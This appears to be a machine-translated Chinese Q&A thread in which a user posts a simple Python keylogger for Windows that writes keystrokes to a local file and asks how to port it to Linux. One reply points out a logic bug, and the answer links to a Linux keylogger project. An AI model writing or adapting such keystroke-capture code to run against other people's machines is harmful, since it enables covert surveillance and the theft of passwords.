2014-10-11 38 views
0

Python中有這個基本的keylogger代碼可以在windows下運行。如何修改它以在Linux下運行?如何修改這個Python的鍵盤記錄代碼的Windows在Linux下使用?

import win32api 
import sys 
import pythoncom, pyHook 
buffer = '' 
def OnKeyboardEvent(event): 
    if event.Ascii == 5: 
     sys.exit() 
    if event.Ascii != 0 or 8: 
     f = open ('c:\\outputKeyLogger.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
     keylogs = keylogs + '\n' 
    f.write(keylogs) 
    f.close() 
    while True: 
     hm = pyHook.HookManager() 
     hm.KeyDown = OnKeyboardEvent 
     hm.HookKeyboard() 
     pythoncom.PumpMessages() 
+1

糾正我,如果我錯了,但不將行,如果event.Ascii = 0或8的意思是「如果event.Ascii不等於0,或者如果8是真的「?所以如果event.Ascii不等於0,這個條件將總是返回True(因爲8是True)。這可能不是你想要的,應該是,如果event.Ascii!= 0或event.Ascii!= 8或更簡潔的前:if event.Ascii不在[0,8] – Totem 2015-01-13 07:18:03

+0

@Totem,是的,那通過了我。好的觀察。改變它,但它仍然不能在linux下運行 – Vass 2015-01-13 13:35:58

回答

1

以下是通過amoffat在Github上的Linux的鍵盤記錄器源代碼的鏈接。它利用Python模塊,一個用於Python的外部函數庫,它提供了C兼容的數據類型並允許在DLL中調用函數。這似乎被用來訪問linux上的X windows環境來捕獲按下日誌記錄的按鍵。點擊進入pykeylogger.py文件查看完整的源代碼。希望這可以幫助。

https://github.com/amoffat/pykeylogger

信息上​​- !

https://docs.python.org/2/library/ctypes.html

相關問題